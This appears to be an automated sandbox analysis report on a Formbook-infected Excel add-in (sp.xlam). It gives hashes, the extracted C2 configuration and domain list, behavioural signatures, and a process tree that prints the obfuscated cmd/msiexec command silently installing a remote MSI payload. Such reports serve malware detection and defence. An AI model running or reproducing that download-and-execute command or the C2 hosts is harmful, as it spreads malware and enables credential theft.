Analysis
-
max time kernel
146s -
max time network
137s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
05-05-2021 13:38
Static task
static1
Behavioral task
behavioral1
Sample
sp.xlam
Resource
win7v20210410
General
-
Target
sp.xlam
-
Size
15KB
-
MD5
399563af4221cc2c176d8f218d6a563d
-
SHA1
72251218c8127abeab4c04944445c18bdac2688f
-
SHA256
cc9cefa7960d991d414051f5fe153ffa514a2e687143dd2b1b6966edbbcadbec
-
SHA512
bb0aef3126bc94f5bc32bddc96b4c6720b4eeeaa91c1a80c95039d4c88871fdc33ceef7cd579bd00d4acbc62987f9e6c0fa7efa08de81e4a4db8194f81f6ebea
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2576 2256 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1572-190-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral2/memory/3196-197-0x0000000000670000-0x000000000069E000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 15 2544 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI44B3.tmpMSI44B3.tmppid process 3680 MSI44B3.tmp 1572 MSI44B3.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI44B3.tmppid process 3680 MSI44B3.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 3748 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
MSI44B3.tmpMSI44B3.tmpmsdt.exedescription pid process target process PID 3680 set thread context of 1572 3680 MSI44B3.tmp MSI44B3.tmp PID 1572 set thread context of 3064 1572 MSI44B3.tmp Explorer.EXE PID 1572 set thread context of 3064 1572 MSI44B3.tmp Explorer.EXE PID 3196 set thread context of 3064 3196 msdt.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI4368.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI44B3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3ED4.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI44B3.tmp nsis_installer_1 C:\Windows\Installer\MSI44B3.tmp nsis_installer_2 C:\Windows\Installer\MSI44B3.tmp nsis_installer_1 C:\Windows\Installer\MSI44B3.tmp nsis_installer_2 C:\Windows\Installer\MSI44B3.tmp nsis_installer_1 C:\Windows\Installer\MSI44B3.tmp nsis_installer_2 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2256 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 56 IoCs
Processes:
msiexec.exeMSI44B3.tmpmsdt.exepid process 2544 msiexec.exe 2544 msiexec.exe 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe 3196 msdt.exe -
Suspicious behavior: MapViewOfSection 7 IoCs
Processes:
MSI44B3.tmpMSI44B3.tmpmsdt.exepid process 3680 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 1572 MSI44B3.tmp 3196 msdt.exe 3196 msdt.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
msiexec.exemsiexec.exeMSI44B3.tmpmsdt.exeExplorer.EXEdescription pid process Token: SeShutdownPrivilege 3748 msiexec.exe Token: SeIncreaseQuotaPrivilege 3748 msiexec.exe Token: SeSecurityPrivilege 2544 msiexec.exe Token: SeCreateTokenPrivilege 3748 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3748 msiexec.exe Token: SeLockMemoryPrivilege 3748 msiexec.exe Token: SeIncreaseQuotaPrivilege 3748 msiexec.exe Token: SeMachineAccountPrivilege 3748 msiexec.exe Token: SeTcbPrivilege 3748 msiexec.exe Token: SeSecurityPrivilege 3748 msiexec.exe Token: SeTakeOwnershipPrivilege 3748 msiexec.exe Token: SeLoadDriverPrivilege 3748 msiexec.exe Token: SeSystemProfilePrivilege 3748 msiexec.exe Token: SeSystemtimePrivilege 3748 msiexec.exe Token: SeProfSingleProcessPrivilege 3748 msiexec.exe Token: SeIncBasePriorityPrivilege 3748 msiexec.exe Token: SeCreatePagefilePrivilege 3748 msiexec.exe Token: SeCreatePermanentPrivilege 3748 msiexec.exe Token: SeBackupPrivilege 3748 msiexec.exe Token: SeRestorePrivilege 3748 msiexec.exe Token: SeShutdownPrivilege 3748 msiexec.exe Token: SeDebugPrivilege 3748 msiexec.exe Token: SeAuditPrivilege 3748 msiexec.exe Token: SeSystemEnvironmentPrivilege 3748 msiexec.exe Token: SeChangeNotifyPrivilege 3748 msiexec.exe Token: SeRemoteShutdownPrivilege 3748 msiexec.exe Token: SeUndockPrivilege 3748 msiexec.exe Token: SeSyncAgentPrivilege 3748 msiexec.exe Token: SeEnableDelegationPrivilege 3748 msiexec.exe Token: SeManageVolumePrivilege 3748 msiexec.exe Token: SeImpersonatePrivilege 3748 msiexec.exe Token: SeCreateGlobalPrivilege 3748 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeRestorePrivilege 2544 msiexec.exe Token: SeTakeOwnershipPrivilege 2544 msiexec.exe Token: SeDebugPrivilege 1572 MSI44B3.tmp Token: SeDebugPrivilege 3196 msdt.exe Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE Token: SeShutdownPrivilege 3064 Explorer.EXE Token: SeCreatePagefilePrivilege 3064 Explorer.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE 2256 EXCEL.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3064 Explorer.EXE -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI44B3.tmpMSI44B3.tmpmsdt.exedescription pid process target process PID 2256 wrote to memory of 2576 2256 EXCEL.EXE cmd.exe PID 2256 wrote to memory of 2576 2256 EXCEL.EXE cmd.exe PID 2576 wrote to memory of 3748 2576 cmd.exe msiexec.exe PID 2576 wrote to memory of 3748 2576 cmd.exe msiexec.exe PID 2544 wrote to memory of 3680 2544 msiexec.exe MSI44B3.tmp PID 2544 wrote to memory of 3680 2544 msiexec.exe MSI44B3.tmp PID 2544 wrote to memory of 3680 2544 msiexec.exe MSI44B3.tmp PID 3680 wrote to memory of 1572 3680 MSI44B3.tmp MSI44B3.tmp PID 3680 wrote to memory of 1572 3680 MSI44B3.tmp MSI44B3.tmp PID 3680 wrote to memory of 1572 3680 MSI44B3.tmp MSI44B3.tmp PID 3680 wrote to memory of 1572 3680 MSI44B3.tmp MSI44B3.tmp PID 1572 wrote to memory of 3196 1572 MSI44B3.tmp msdt.exe PID 1572 wrote to memory of 3196 1572 MSI44B3.tmp msdt.exe PID 1572 wrote to memory of 3196 1572 MSI44B3.tmp msdt.exe PID 3196 wrote to memory of 4040 3196 msdt.exe cmd.exe PID 3196 wrote to memory of 4040 3196 msdt.exe cmd.exe PID 3196 wrote to memory of 4040 3196 msdt.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\sp.xlam"2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com//admin/56701.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msiexec.exemSiExec /i http://farm-finn.com//admin/56701.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI44B3.tmp"C:\Windows\Installer\MSI44B3.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI44B3.tmp"C:\Windows\Installer\MSI44B3.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI44B3.tmp"5⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-msMD5
4fcb2a3ee025e4a10d21e1b154873fe2
SHA157658e2fa594b7d0b99d02e041d0f3418e58856b
SHA25690bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
SHA5124e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
-
C:\Windows\Installer\MSI44B3.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI44B3.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI44B3.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
\Users\Admin\AppData\Local\Temp\nsf46C5.tmp\xdqurci0.dllMD5
42b244a4f9d3af1a2788452e5507b0be
SHA14f59185e37d87cf7d4a0c43bc4f26b092c21e4bf
SHA25614ade88d57789eb08d264b56ff0b46317452e50702285aff672ff12768e45c4f
SHA512df0b5fc0fa680ff5ef849e3c9c312e07e4d741054dba3a9c9a7c05cfc2b99fba09776e864494a579cc34ba985c431d22de9917836cb38d1de05b9aea93fb55fa
-
memory/1572-191-0x00000000009A0000-0x0000000000CC0000-memory.dmpFilesize
3.1MB
-
memory/1572-188-0x00000000008D0000-0x00000000008E4000-memory.dmpFilesize
80KB
-
memory/1572-192-0x0000000000920000-0x0000000000934000-memory.dmpFilesize
80KB
-
memory/1572-190-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/1572-185-0x000000000041EBB0-mapping.dmp
-
memory/2256-118-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmpFilesize
64KB
-
memory/2256-114-0x00007FF768EC0000-0x00007FF76C476000-memory.dmpFilesize
53.7MB
-
memory/2256-123-0x0000020457C20000-0x0000020459B15000-memory.dmpFilesize
31.0MB
-
memory/2256-122-0x00007FFFBBF90000-0x00007FFFBD07E000-memory.dmpFilesize
16.9MB
-
memory/2256-119-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmpFilesize
64KB
-
memory/2256-117-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmpFilesize
64KB
-
memory/2256-116-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmpFilesize
64KB
-
memory/2256-115-0x00007FFF9B3D0000-0x00007FFF9B3E0000-memory.dmpFilesize
64KB
-
memory/2576-179-0x0000000000000000-mapping.dmp
-
memory/3064-208-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-213-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-220-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-193-0x0000000005F70000-0x000000000610C000-memory.dmpFilesize
1.6MB
-
memory/3064-218-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-219-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-216-0x0000000000760000-0x0000000000770000-memory.dmpFilesize
64KB
-
memory/3064-217-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-215-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-214-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-212-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-201-0x00000000025D0000-0x0000000002687000-memory.dmpFilesize
732KB
-
memory/3064-203-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-204-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-205-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-206-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-202-0x0000000000700000-0x0000000000710000-memory.dmpFilesize
64KB
-
memory/3064-189-0x0000000005E40000-0x0000000005F62000-memory.dmpFilesize
1.1MB
-
memory/3064-209-0x0000000000760000-0x0000000000770000-memory.dmpFilesize
64KB
-
memory/3064-210-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-211-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3064-207-0x0000000000730000-0x0000000000740000-memory.dmpFilesize
64KB
-
memory/3196-200-0x00000000045E0000-0x0000000004673000-memory.dmpFilesize
588KB
-
memory/3196-199-0x0000000004780000-0x0000000004AA0000-memory.dmpFilesize
3.1MB
-
memory/3196-196-0x0000000000D30000-0x0000000000EA3000-memory.dmpFilesize
1.4MB
-
memory/3196-197-0x0000000000670000-0x000000000069E000-memory.dmpFilesize
184KB
-
memory/3196-195-0x0000000000000000-mapping.dmp
-
memory/3680-181-0x0000000000000000-mapping.dmp
-
memory/3680-187-0x0000000002FD0000-0x0000000002FF3000-memory.dmpFilesize
140KB
-
memory/3748-180-0x0000000000000000-mapping.dmp
-
memory/4040-198-0x0000000000000000-mapping.dmp